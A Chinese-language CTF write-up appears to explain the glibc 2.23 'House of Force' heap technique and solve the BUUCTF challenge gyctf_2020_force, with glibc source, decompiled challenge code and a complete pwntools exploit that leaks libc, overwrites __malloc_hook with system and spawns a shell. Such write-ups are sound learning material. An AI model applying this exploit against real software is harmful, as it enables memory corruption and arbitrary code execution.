Featured image of post House of force&&gyctf_2020_force

House of force&&gyctf_2020_force

以glibc2.23为例

利用条件

  • 可以修改top chunk的size位
  • 对申请堆块的大小没有检测

原理,先修改top chunk的size,然后计算top chunk与任意地址的位置,申请一个大chunk,将top chunk地址改为我们要修改的地址附近,然后再次申请合适大小chunk后对该chunk进行修改就行实现任意地址写

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
victim = av->top;
size = chunksize (victim);

if ((unsigned long) (size) >= (unsigned long) (nb + MINSIZE))
{
    remainder_size = size - nb;
    remainder = chunk_at_offset (victim, nb);
    av->top = remainder;
    set_head (victim, nb | PREV_INUSE |
                    (av != &main_arena ? NON_MAIN_ARENA : 0));
    set_head (remainder, remainder_size | PREV_INUSE);
    check_malloced_chunk (av, victim, nb);
    void *p = chunk2mem (victim);
    alloc_perturb (p, bytes);
    return p;
}

例题 BUUCTF

gyctf_2020_force

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  __int64 v3; // rax
  char s[256]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v5; // [rsp+118h] [rbp-8h]

  v5 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  memset(s, 255, sizeof(s));
  while ( 1 )
  {
    memset(s, 255, sizeof(s));
    puts("1:add");
    puts("2:puts");
    read(0, nptr, 0xFuLL);
    v3 = atol(nptr);
    if ( v3 == 1 )
    {
      add();
    }
    else if ( v3 == 2 )
    {
      put();
    }
  }
}
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
unsigned __int64 add()
{
  const void **i; // [rsp+0h] [rbp-120h]
  __int64 size; // [rsp+8h] [rbp-118h]
  char s[256]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v4; // [rsp+118h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  memset(s, 255, sizeof(s));
  for ( i = (const void **)&unk_202080; *i; ++i )
    ;
  if ( (char *)i - (char *)&unk_202080 > 39 )
    exit(0);
  puts("size");
  read(0, nptr, 0xFuLL);
  size = atol(nptr);
  *i = malloc(size);
  if ( !*i )
    exit(0);
  printf("bin addr %p\n", *i);
  puts("content");
  read(0, (void *)*i, 0x50uLL);
  puts("done");
  return __readfsqword(0x28u) ^ v4;
}

glibc 的 malloc 分配内存有两种核心方式,用 阈值 区分:当申请chunk大小小于阈值时,采用brk分配, 从进程heap段扩展,地址连续 ;当申请chunk大小大于阈值时,使用mmap分配, 向内核申请独立的内存,与libcbase偏移固定,所以可以用来泄露libcbase

提前将/bin/sh写入top,然后利用house of force修改malloc_hook为system,再次malloc时传入binsh(size值原本我们给的是数值,会把这个数值给 rdi,现在给的是 top chunk 地址,给 rdi 的值就是top chunk 的内容)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import*
context(log_level='debug',arch='amd64',os='linux')
p=process('./pwn')
#p=remote('node5.buuoj.cn',25688)
elf=ELF('./pwn')
#libc=ELF('./libc-2.23.so')
libc=ELF('/home/fuguang/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
def add(size,content):
    p.recvuntil(b'2:puts')
    p.sendline(b'1')
    p.sendlineafter(b'size',str(size))
    p.recvuntil(b'0x')
    addr=int(p.recv(12),16)
    p.sendafter(b'content',content)
    return addr
libcbase=add(9999999999,b'a'*8)+0x2540beff0

print(hex(libcbase))
top = add(0x18,b'a'*0x10+b'/bin/sh\x00'+p64(0xFFFFFFFFFFFFFFFF))+0x10

malloc_hook=libc.sym['__malloc_hook']+libcbase
print(hex(malloc_hook))
system=libc.sym['system']
print(hex(system))
offset = (malloc_hook-0x20)-top
print(hex(offset))
addr=add(offset, b'aaa')
addr1=addr+offset
log.success("addr1 :"+hex(addr1))

system=libc.sym['system']+libcbase
addr2=add(0x10,p64(system))
log.success("addr2 :"+hex(addr2))
p.recvuntil(b'2:puts')
p.sendline(b'1')
gdb.attach(p)
p.sendlineafter(b'size',str(top))
p.interactive()

另一种解法 ,one_gadget,realloc抬rsp,关于realloc的解释如下 https://blog.csdn.net/Invin_cible/article/details/123042819

碎碎念:由于期末周复习原因好久至少一个月没学pwn了,本来复现了XSW初赛没解出的题但是没有来得及写wp,后面尽量找时间不上,虽然大学好忙但是加油加油

共生产 19 篇文章,约 39.77k 字使用 Hugo 构建
主题 Stack 由 Jimmy 设计